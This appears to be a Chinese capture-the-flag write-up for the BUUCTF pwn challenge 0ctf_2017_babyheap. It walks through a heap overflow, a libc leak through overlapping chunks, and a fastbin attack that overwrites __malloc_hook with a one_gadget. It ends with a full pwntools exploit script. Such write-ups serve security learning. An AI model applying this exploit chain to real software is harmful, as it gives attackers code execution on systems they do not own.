[BUUCTF]PWN——0ctf_2017_babyheap
0ctf_2017_babyheap
步骤:
- 例行检查,64位程序,保护全开

- 本地试运行一下,看看大概的情况,经典的堆题的菜单

- main函数

add()

edit()

delete()

show()

利用思路
- edit存在堆溢出,可以通过重叠堆来泄露libc
- 然后利用fastbin attack,修改malloc_hook为one_gadget
利用过程
- 首先来构造重叠堆
先申请3个chunk,
add(0x10)#0
add(0x10)#1
add(0x80)#2
来看一下堆的布局

2. 接着利用堆溢出,将chunk1的size修改掉,使其能够包裹住chunk2,这样就构成了重叠堆
edit(0,p64(0)*3+p64(0xb1))

之后释放chunk1,在重新申请回来,主要是为了修改结构体中的size,show的长度是根据这个来定的,由于calloc申请的chunk会初始化置0,所以还得要重新修改一下
delete(1)
add(0xa0)#1 delete再add回来使为了改变结构体中的size值,因为show的长度使根据这个值来定的
edit(1,p64(0)*3+p64(0x91)) #因为使通过calloc申请回chunk1的所以chunk2被清零,我们要恢复chunk2
- 由于我申请的chunk2的size大于max_fast bin,所以free掉后会进入unsorted bin,而如果只有一个bin的话,其fd与bk都是main_arena + offset,我们通过打印chunk1就能够得到main_arena + offset的地址了,这样就泄露了libc,可以计算出malloc_hock的地址
delete(2)
show(1)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) -0x3c4b78
malloc_hook = libc_base + libc.symbols['__malloc_hook']
为什么偏移是0x3c4b78?,我之前的文章里有提到过
- 接下来是fastbin attack覆盖malloc_hock为one_gadget
delete(4)
edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23))
add(0x68)#2 #fasbin attack
add(0x68)#4
one = [0xf1147,0xf02a4,0x4526a,0x45216]
one_gadget = libc_base + one[2]
edit(4,'\x00'*0x13+p64(one_gadget))
我们已经将malloc_hook的地址覆写成了one_gadget,现在add一个chunk就能获取shell了
为什么是malloc_hook-0x23,我之前的这篇文章也有讲到过
完整exp:
from pwn import *
context.log_level = 'debug'
p=remote("node3.buuoj.cn",28294)
p = process('./0ctf_2017_babyheap')
libc = ELF('/libc-2.23-64.so')
def add(size):
p.sendlineafter('Command: ','1')
p.sendlineafter('Size: ',str(size))
def edit(idx,content):
p.sendlineafter('Command: ','2')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(len(content)))
p.sendlineafter('Content: ',content)
def delete(idx):
p.sendlineafter('Command: ','3')
p.sendlineafter('Index: ',str(idx))
def show(idx):
p.sendlineafter('Command: ','4')
p.sendlineafter('Index: ',str(idx))
#---------------这3个一组,是为了泄漏libc地址----------#
add(0x10)#0
add(0x10)#1
add(0x80)#2
#---------------这3个一组,是为了fastbin attack 覆写malloc hook 为one_gadget ----------#
add(0x30)#3
add(0x68)#4
add(0x10)#5
#------------------泄漏libc地址------------------------------------#
edit(0,p64(0)*3+p64(0xb1))#通过edit(0)来改变chunk1的大小,使其包裹chunk2
delete(1)
add(0xa0)#1 delete再add回来使为了改变结构体中的size值,因为show的长度使根据这个值来定的
edit(1,p64(0)*3+p64(0x91)) #因为使通过calloc申请回chunk1的所以chunk2被清零,我们要恢复chunk2
delete(2) #使的chunk2进入unsorted bin
show(1) #泄漏chunk2的fd
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) -0x3c4b78
print 'libc_base: '+hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
#-----------------fastbin attack-------------------------------------#
delete(4)#释放使其进入fastbin
edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23)) #修改其fd指针
add(0x68)#2 #fasbin attack
add(0x68)#4
one = [0xf1147,0xf02a4,0x4526a,0x45216]
one_gadget = libc_base + one[2]
edit(4,'\x00'*0x13+p64(one_gadget)) #覆盖malloc_hook为one_gadget
add(0x10)
#gdb.attach(p)
p.interactive()

[BUUCTF]PWN——0ctf_2017_babyheap的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- [BUUCTF]PWN——hitcontraining_uaf
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- buuctf pwn wp---part1
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
- [BUUCTF]PWN——pwnable_hacknote
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
- [BUUCTF]PWN——mrctf2020_easyoverflow
mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...
随机推荐
- [atAGC043B]123 Triangle
不妨先操作一轮,使得$0\le a_{i}\le 2$ 结论:若序列中存在1,则答案为0或1 考虑归纳,注意到若序列中存在1,除非所有元素均为1,否则操作一轮后必然仍存在1,那么根据归纳假设即成立,而 ...
- CF1477A Nezzar and Board
考虑 \(2x - y\) 我们改为 \(x + (x - y)\) 是一个更好的形式. 我们可以表示一个数为\(x_i + \sum_{j,k}(x_j - x_k) = K\) 我们考虑移到 \( ...
- [NOIP2017 提高组] 逛公园
考虑先做一个\(dp\),考虑正反建图,然后按0边拓扑,然后按1到这里的最小距离排序,然后扩展这个\(f_{i,j}\),即多了\(j\)的代价的方案数.
- Codeforces 587D - Duff in Mafia(2-SAT+前后缀优化建图)
Codeforces 题面传送门 & 洛谷题面传送门 2-SAT hot tea. 首先一眼二分答案,我们二分答案 \(mid\),那么问题转化为,是否存在一个所有边权都 \(\le mid\ ...
- Codeforces 1513F - Swapping Problem(分类讨论+乱搞)
Codeforces 题目传送门 & 洛谷题目传送门 简单题,难度 *2500 的 D2F,就当调节一下一模炸裂了的自闭的心情,稍微写写吧. 首先我看到这题的第一反应是分类讨论+数据结构,即枚 ...
- R包MetaboAnalystR安装指南(Linux环境非root)
前言 这是代谢组学数据分析的一个R包,包括用于代谢组学数据分析.可视化和功能注释等众多功能.最近有同事在集群中搭建蛋白和代谢流程,安装这个包出现了问题,于是我折腾了一上午. 这个包的介绍在:https ...
- 前后端分离进阶一:使用ElementUI+前端分页
前两篇入门:前后端分离初体验一:前端环境搭建 前后端分离初体验二:后端环境搭建+数据交互 参考:https://www.bilibili.com/video/BV137411B7vB B站UP:楠哥教 ...
- 日常Java测试第一段 2021/11/12
课堂测试一 package word_show;import java.io.BufferedReader;import java.io.FileNotFoundException;import ja ...
- accommodate, accompany
accommodate 词源: to make fit, suitable; 近/反义词: adapt, adjust, lodge; disoblige, incommode, misfit Lod ...
- 外网无法访问hdfs文件系统
由于本地测试和服务器不在一个局域网,安装的hadoop配置文件是以内网ip作为机器间通信的ip. 在这种情况下,我们能够访问到namenode机器, namenode会给我们数据所在机器的ip地址供我 ...